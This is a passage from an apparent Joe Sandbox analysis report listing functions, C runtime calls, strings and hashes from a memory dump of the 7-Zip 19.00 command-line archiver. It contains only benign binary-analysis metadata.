free.MSVCRT ref: 00C060F3

Part of subcall function 00C059E0: free.MSVCRT ref: 00C05ABB
Part of subcall function 00C059E0: free.MSVCRT ref: 00C05ACE
Part of subcall function 00C059E0: free.MSVCRT ref: 00C05AD6
Part of subcall function 00C059E0: memmove.MSVCRT ref: 00C05AEE

free.MSVCRT ref: 00C061A8
free.MSVCRT ref: 00C061B0
free.MSVCRT ref: 00C061BF
free.MSVCRT ref: 00C061CA
free.MSVCRT ref: 00C061EE
free.MSVCRT ref: 00C061F6
free.MSVCRT ref: 00C06202

Strings

Empty file path, xrefs: 00C05D53

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove$wcscmp$ExceptionThrow
String ID: Empty file path
API String ID: 462375450-1562447899
Opcode ID: ab664bf3e0e52273a7b2c93043638589f708cf9af184803b1dcc7a9fe34b6b52
Instruction ID: d6734fda5e4e3ae1a0adf459fef65eafa83ebde24d15d2637ea7e91864ce0abd
Opcode Fuzzy Hash: ab664bf3e0e52273a7b2c93043638589f708cf9af184803b1dcc7a9fe34b6b52
Instruction Fuzzy Hash: E8D1D332214AC086DB20EF25E49039FB761F785B94F545126EFAE47BA9DF38CA45CB40

Function 00C0A224 Relevance: 37.8, APIs: 22, Strings: 3, Instructions: 317COMMON

Download Yara Rule

Strings

\\?\, xrefs: 00C0A3ED, 00C0A4CF
\\?\UNC\, xrefs: 00C0A527, 00C0A66C
\, xrefs: 00C0A363

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID: \$\\?\$\\?\UNC\
API String ID: 0-1962706685
Opcode ID: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
Instruction ID: 4923da36aac50be4c2133d94b3b16a0d29a85fab5dab0abe4b970068aeb9e301
Opcode Fuzzy Hash: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
Instruction Fuzzy Hash: C9B19222209B40A0CE10FF21D4652BEA724FB927D4F446112FB5E477FADF69CA46E742

Function 00C01C58 Relevance: 31.5, APIs: 25, Instructions: 294COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C01C98
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C01CB9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9404618c4272822a705cb722a6b2e01a42813b165ea22c09ed02a541621bc0be
Instruction ID: 88667ccfac0eaaf852fee3aacdf0da27e6d4dcdb48de0013da207ca7e2d28abe
Opcode Fuzzy Hash: 9404618c4272822a705cb722a6b2e01a42813b165ea22c09ed02a541621bc0be
Instruction Fuzzy Hash: 2DA1A03264874081CB20EF15E49456EFB21E7D27D4F945112FB9E43BE9DF28C986DB40

Function 00C47F50 Relevance: 30.2, APIs: 24, Instructions: 154COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C47FA0
free.MSVCRT ref: 00C47FA8
free.MSVCRT ref: 00C47FB8
free.MSVCRT ref: 00C47FC4
free.MSVCRT ref: 00C47FF6
free.MSVCRT ref: 00C47FFE
free.MSVCRT ref: 00C4800E
free.MSVCRT ref: 00C48026
free.MSVCRT ref: 00C48058
free.MSVCRT ref: 00C48061
free.MSVCRT ref: 00C48069
free.MSVCRT ref: 00C48079
free.MSVCRT ref: 00C48085
free.MSVCRT ref: 00C480B7
free.MSVCRT ref: 00C480BF
free.MSVCRT ref: 00C480CF
free.MSVCRT ref: 00C48108
free.MSVCRT ref: 00C48110
free.MSVCRT ref: 00C4811D
free.MSVCRT ref: 00C48127
free.MSVCRT ref: 00C48131
free.MSVCRT ref: 00C4815D
free.MSVCRT ref: 00C48165
free.MSVCRT ref: 00C48172

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a5da411e75573f0648736714f517a5bbb6ba3fc978bf78ef7329a5e2f6ab8de4
Instruction ID: 5d6600cfb02c273ef5447872068ec7e26666adf7a68e11472bc031eebbae4808
Opcode Fuzzy Hash: a5da411e75573f0648736714f517a5bbb6ba3fc978bf78ef7329a5e2f6ab8de4
Instruction Fuzzy Hash: 79515827610A90C9CB21EE32D85526D2321FB96F98F591273EF2D1B799DF20CD06C390

Function 00C46C04 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 160COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C46C87

Part of subcall function 00C02670: fputs.MSVCRT ref: 00C0268F

fputs.MSVCRT ref: 00C46C4F

Part of subcall function 00C46B3C: fputs.MSVCRT ref: 00C46B7C
Part of subcall function 00C46B3C: free.MSVCRT ref: 00C46BAE
Part of subcall function 00C46B3C: fputs.MSVCRT ref: 00C46BCC

fputs.MSVCRT ref: 00C46D13
fputs.MSVCRT ref: 00C46D3D
fputs.MSVCRT ref: 00C46D6D
fputs.MSVCRT ref: 00C46D87
fputc.MSVCRT ref: 00C46D9A
free.MSVCRT ref: 00C46E3A
free.MSVCRT ref: 00C46E72

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

Strings

file, xrefs: 00C46D80
Scan WARNINGS: , xrefs: 00C46C80
Scan WARNINGS for files and folders:, xrefs: 00C46C48
Everything is Ok, xrefs: 00C46D0C
WARNINGS for files:, xrefs: 00C46D36
Error:, xrefs: 00C46E50
WARNING: Cannot open , xrefs: 00C46D66

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free$fputc
String ID: Error:$ file$Everything is Ok$Scan WARNINGS for files and folders:$Scan WARNINGS: $WARNING: Cannot open $WARNINGS for files:
API String ID: 2662072562-1527772849
Opcode ID: da4e118f9d486780fcc46832e40a27d855b0a713e45ff0d8968e49b5411b90f1
Instruction ID: 8cef681c5710932108484f5b9db40af048723b7b1a33446d69c8d490deca1595
Opcode Fuzzy Hash: da4e118f9d486780fcc46832e40a27d855b0a713e45ff0d8968e49b5411b90f1
Instruction Fuzzy Hash: 0C51A576704A4082DF24EF21EA9477EB325FB85BD4F444226EE6E036A9DF38CA45D341

Function 00C21988 Relevance: 27.7, APIs: 22, Instructions: 211COMMON

Download Yara Rule

APIs

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

free.MSVCRT ref: 00C21A13
free.MSVCRT ref: 00C21A73
free.MSVCRT ref: 00C21AA1
free.MSVCRT ref: 00C21AA9
free.MSVCRT ref: 00C21AB7
free.MSVCRT ref: 00C21AC2
free.MSVCRT ref: 00C21C8F
free.MSVCRT ref: 00C21C9A
free.MSVCRT ref: 00C21CA7
free.MSVCRT ref: 00C21CB4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 487434742999afad6c6a49a55d089b6f01de136bf747d36331bc54ee911b7c32
Instruction ID: f45479f9da53084a0e82adcb3c47c74f6a761f979c4a75482d95e25a3344c4ba
Opcode Fuzzy Hash: 487434742999afad6c6a49a55d089b6f01de136bf747d36331bc54ee911b7c32
Instruction Fuzzy Hash: 2E71A732615AD081CA20EF26F89139EA720F7D27D0F545122FF9E53BA9DF28C946DB40

Function 00C3187D Relevance: 25.2, APIs: 20, Instructions: 214COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3187D

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemalloc
String ID:
API String ID: 2861928636-0
Opcode ID: 715b52d3456352f88bffa419932dca49956056468a6bc82701705f4594a5e09d
Instruction ID: 27d50259c5882df431267f9f240c180cde0d45aa3ce4a7d99bcdee8aeee89764
Opcode Fuzzy Hash: 715b52d3456352f88bffa419932dca49956056468a6bc82701705f4594a5e09d
Instruction Fuzzy Hash: 7C817A32219BC485CA60EF26E464BAEB764F7DAB84F056012DF8E53B15CF38C846DB44

Function 00C472C8 Relevance: 25.1, APIs: 20, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C472DB
free.MSVCRT ref: 00C4730D
free.MSVCRT ref: 00C47315
free.MSVCRT ref: 00C4731D
free.MSVCRT ref: 00C4732D
free.MSVCRT ref: 00C47339
free.MSVCRT ref: 00C47345
free.MSVCRT ref: 00C47351
free.MSVCRT ref: 00C4735D
free.MSVCRT ref: 00C47369
free.MSVCRT ref: 00C47375
free.MSVCRT ref: 00C47381
free.MSVCRT ref: 00C4738D
free.MSVCRT ref: 00C47399
free.MSVCRT ref: 00C473A2
free.MSVCRT ref: 00C473AB
free.MSVCRT ref: 00C473B4
free.MSVCRT ref: 00C473E9
free.MSVCRT ref: 00C473F1
free.MSVCRT ref: 00C473F9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
Instruction ID: 003dae20c73e20d488eda5b12d6d997056ca363efb215d9997c9a300c6bf256b
Opcode Fuzzy Hash: 604b93e9740048c82800e9d74cf7720333369c55d8207d772f7bb48edf82253e
Instruction Fuzzy Hash: 3D31B632611AA4C5CA11FF36DD592AC7320EB86F94F192172AF2D5B7A9CF20CC42D394

Function 00C3DCB0 Relevance: 22.8, APIs: 10, Strings: 5, Instructions: 323COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3DE77
free.MSVCRT ref: 00C3DE82
free.MSVCRT ref: 00C3DE8C

Part of subcall function 00C0AEBC: memmove.MSVCRT ref: 00C0AEE7

free.MSVCRT ref: 00C3DF0B

Strings

3, xrefs: 00C3E0BC
Z, xrefs: 00C3DEBC
?, xrefs: 00C3DF66
2, xrefs: 00C3DFF8
?, xrefs: 00C3E024

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 2$3$?$?$Z
API String ID: 1534225298-3338962022
Opcode ID: 84abab613373cf7922060763a3c287b9f684fa76ebb682cbcf5688f653a5ccb0
Instruction ID: 31e26b7e756d037e823b08a63dd9a18fe71495d6eabefa2acf460ebb37263e1b
Opcode Fuzzy Hash: 84abab613373cf7922060763a3c287b9f684fa76ebb682cbcf5688f653a5ccb0
Instruction Fuzzy Hash: A2C1667323468492CA30EB26E4846AF7721F7D5B84F505113EBAE437A9DE38CE45DB41

Function 00C13AFC Relevance: 21.4, APIs: 17, Instructions: 169COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C13B4A
free.MSVCRT ref: 00C13B52
free.MSVCRT ref: 00C13B62
free.MSVCRT ref: 00C13B6E
free.MSVCRT ref: 00C13BA0
free.MSVCRT ref: 00C13BA8
free.MSVCRT ref: 00C13BB8
free.MSVCRT ref: 00C13BC4
free.MSVCRT ref: 00C13BF6
free.MSVCRT ref: 00C13BFE
free.MSVCRT ref: 00C13C0E
free.MSVCRT ref: 00C13C53
free.MSVCRT ref: 00C13C5B
free.MSVCRT ref: 00C13C6B
free.MSVCRT ref: 00C13C9E
free.MSVCRT ref: 00C13CDE
free.MSVCRT ref: 00C13CE8

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ca853514d698da322178c764a93f6451d2681f45a97f5268fbff0ab336d04f61
Instruction ID: ebea37d19cf6ee11c422e9fca12ab1e8c77683719ce7a435004ed1664538ce8a
Opcode Fuzzy Hash: ca853514d698da322178c764a93f6451d2681f45a97f5268fbff0ab336d04f61
Instruction Fuzzy Hash: D6514137702B9086CB15EF35D4A46AD6320FB86F98B095272DF2E1B758CF24CA45D390

Function 00C3D998 Relevance: 21.2, APIs: 13, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 00C04D78: free.MSVCRT ref: 00C04DBC
Part of subcall function 00C04D78: free.MSVCRT ref: 00C04DC4
Part of subcall function 00C04D78: free.MSVCRT ref: 00C04EAC

free.MSVCRT ref: 00C3DAAC
free.MSVCRT ref: 00C3DAB4
free.MSVCRT ref: 00C3DAC2
free.MSVCRT ref: 00C3DAF0
free.MSVCRT ref: 00C3DAF8
free.MSVCRT ref: 00C3DB06
free.MSVCRT ref: 00C3DBB6
free.MSVCRT ref: 00C3DBE9
free.MSVCRT ref: 00C3DBF1
free.MSVCRT ref: 00C3DBFF
free.MSVCRT ref: 00C3DC2D
free.MSVCRT ref: 00C3DC35
free.MSVCRT ref: 00C3DC43

Part of subcall function 00C04338: wcscmp.MSVCRT ref: 00C04345

Strings

..\, xrefs: 00C3DB27

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$wcscmp
String ID: ..\
API String ID: 4021281200-2756224523
Opcode ID: 7888456042c53789908d25aad9b3813a7becaf42d114683dbdf658571ea549be
Instruction ID: 0bcb64261227b91155f68db8d7ca184a69ba9aef3c2e590323e00e535e75a72b
Opcode Fuzzy Hash: 7888456042c53789908d25aad9b3813a7becaf42d114683dbdf658571ea549be
Instruction Fuzzy Hash: DE617D32724A9086CA20EF16F49425EB320FBD5B98F595122EF5E1B7A9DF78C942C740

Function 00C40B2C Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C40B57
fputs.MSVCRT ref: 00C40B67

Part of subcall function 00C02568: free.MSVCRT ref: 00C025B5
Part of subcall function 00C02568: free.MSVCRT ref: 00C025C0

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

fputs.MSVCRT ref: 00C40BB4
fputs.MSVCRT ref: 00C40BC4
fputs.MSVCRT ref: 00C40BD0
free.MSVCRT ref: 00C40BE4
fputs.MSVCRT ref: 00C40C0C
fputs.MSVCRT ref: 00C40C1C
fputs.MSVCRT ref: 00C40C2A

Strings

Size: , xrefs: 00C40BBD
Modified: , xrefs: 00C40C15
Path: , xrefs: 00C40B60

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free$fputc
String ID: Modified: $Path: $Size:
API String ID: 2662072562-3207571042
Opcode ID: baf16f6fc6d4a04671d563c07444ec4426631ca8bc597a177c284f797b747402
Instruction ID: b0882f93ed6f546dbaeb006ac0aa6ef09d2b5037da7056f946c3143376807873
Opcode Fuzzy Hash: baf16f6fc6d4a04671d563c07444ec4426631ca8bc597a177c284f797b747402
Instruction Fuzzy Hash: 72212B66200E0181EE14EF25EDA4B6D6321FB95BE9F549326EE3E036E5DF38C55AC300

Function 00C0BF04 Relevance: 20.3, APIs: 16, Instructions: 327COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0BF55
free.MSVCRT ref: 00C0BF5D
free.MSVCRT ref: 00C0BF93
free.MSVCRT ref: 00C0BF9B
free.MSVCRT ref: 00C0BFF4
free.MSVCRT ref: 00C0C1DC
free.MSVCRT ref: 00C0C1F6
free.MSVCRT ref: 00C0C210
free.MSVCRT ref: 00C0C22A
free.MSVCRT ref: 00C0C1A5

Part of subcall function 00C02D34: free.MSVCRT ref: 00C02D77

free.MSVCRT ref: 00C0C1C2
free.MSVCRT ref: 00C0C237
free.MSVCRT ref: 00C0C248
free.MSVCRT ref: 00C0C253
free.MSVCRT ref: 00C0C3AF
free.MSVCRT ref: 00C0C3BD

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b4b88fefa1dc8cc45d876b51e8a403cde685ba7d07cf5a0b4bc54341fa2cdd8b
Instruction ID: b078a3b938a9686c25acc1f9b6aadd2522598b0d38737ee4a03539f51578657f
Opcode Fuzzy Hash: b4b88fefa1dc8cc45d876b51e8a403cde685ba7d07cf5a0b4bc54341fa2cdd8b
Instruction Fuzzy Hash: 11C17232318690D2CA20EF25E4D016EA770F7C9B80F645222EB5E67BA9CF39CD55DB41

Function 00C10998 Relevance: 19.6, APIs: 12, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C109CE
memmove.MSVCRT ref: 00C109E7
memmove.MSVCRT ref: 00C10A00
_CxxThrowException.MSVCRT ref: 00C10B70
free.MSVCRT ref: 00C10B7E
free.MSVCRT ref: 00C10B8B
free.MSVCRT ref: 00C10B98
free.MSVCRT ref: 00C10BA5
free.MSVCRT ref: 00C10BB2
free.MSVCRT ref: 00C10BBC
free.MSVCRT ref: 00C10BC6
free.MSVCRT ref: 00C10BD0

Strings

Incorrect volume size:, xrefs: 00C10B53

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove$ExceptionThrow
String ID: Incorrect volume size:
API String ID: 3957182552-1799541332
Opcode ID: 4436e24a10e8fc572d61ba3777d2b135a9ae8f78e93ce841be10de43e0223506
Instruction ID: 0dcb9e2a4c38154b9a29a180f4f12e6a4acd6cb67253a4cd7a76114d3d3d63ee
Opcode Fuzzy Hash: 4436e24a10e8fc572d61ba3777d2b135a9ae8f78e93ce841be10de43e0223506
Instruction Fuzzy Hash: C1517C72204B84D2DB24EF25E8913EDB320F786B84F549122DBAD477A5DF68CAC5E740

Function 00C17178 Relevance: 19.0, APIs: 15, Instructions: 200COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C171FD

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
Instruction ID: ef1c6636d9c0b3013febb732ae90c5120940c4549f8b6a18eb637491a6724573
Opcode Fuzzy Hash: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
Instruction Fuzzy Hash: 0F712032208B4081DB10EF65E8543AD6771FB86B94F445222AE6E877B5DF28C9D6E740

Function 00C0A8A0 Relevance: 18.2, APIs: 10, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00C0339C: free.MSVCRT ref: 00C033D7
Part of subcall function 00C0339C: memmove.MSVCRT(00000000,?,?,00000000,00C010A8), ref: 00C033F2

free.MSVCRT ref: 00C0A90A
free.MSVCRT ref: 00C0A9AD

Strings

/, xrefs: 00C0AA22
\, xrefs: 00C0AA1B

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID: /$\
API String ID: 1534225298-1600464054
Opcode ID: f198c9d99514ce9e4ce6b0316728f7062312fdaa462ade4dde103b6963418a90
Instruction ID: aad4be191b95d2085dbd527db985a425147aa481bc0b4451de8138c2c41fdde2
Opcode Fuzzy Hash: f198c9d99514ce9e4ce6b0316728f7062312fdaa462ade4dde103b6963418a90
Instruction Fuzzy Hash: 11517222304740E1CE24EF22D5951BE6724EB867D4B445122FB9F476E6DF29CA46FB02

Function 00C485C7 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C485DA
free.MSVCRT ref: 00C485E2
memmove.MSVCRT ref: 00C48602
fputs.MSVCRT ref: 00C48637
fputs.MSVCRT ref: 00C48647
free.MSVCRT ref: 00C4867B
free.MSVCRT ref: 00C48683
free.MSVCRT ref: 00C48695

Strings

7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 00C48630
Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values, xrefs: 00C48640

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
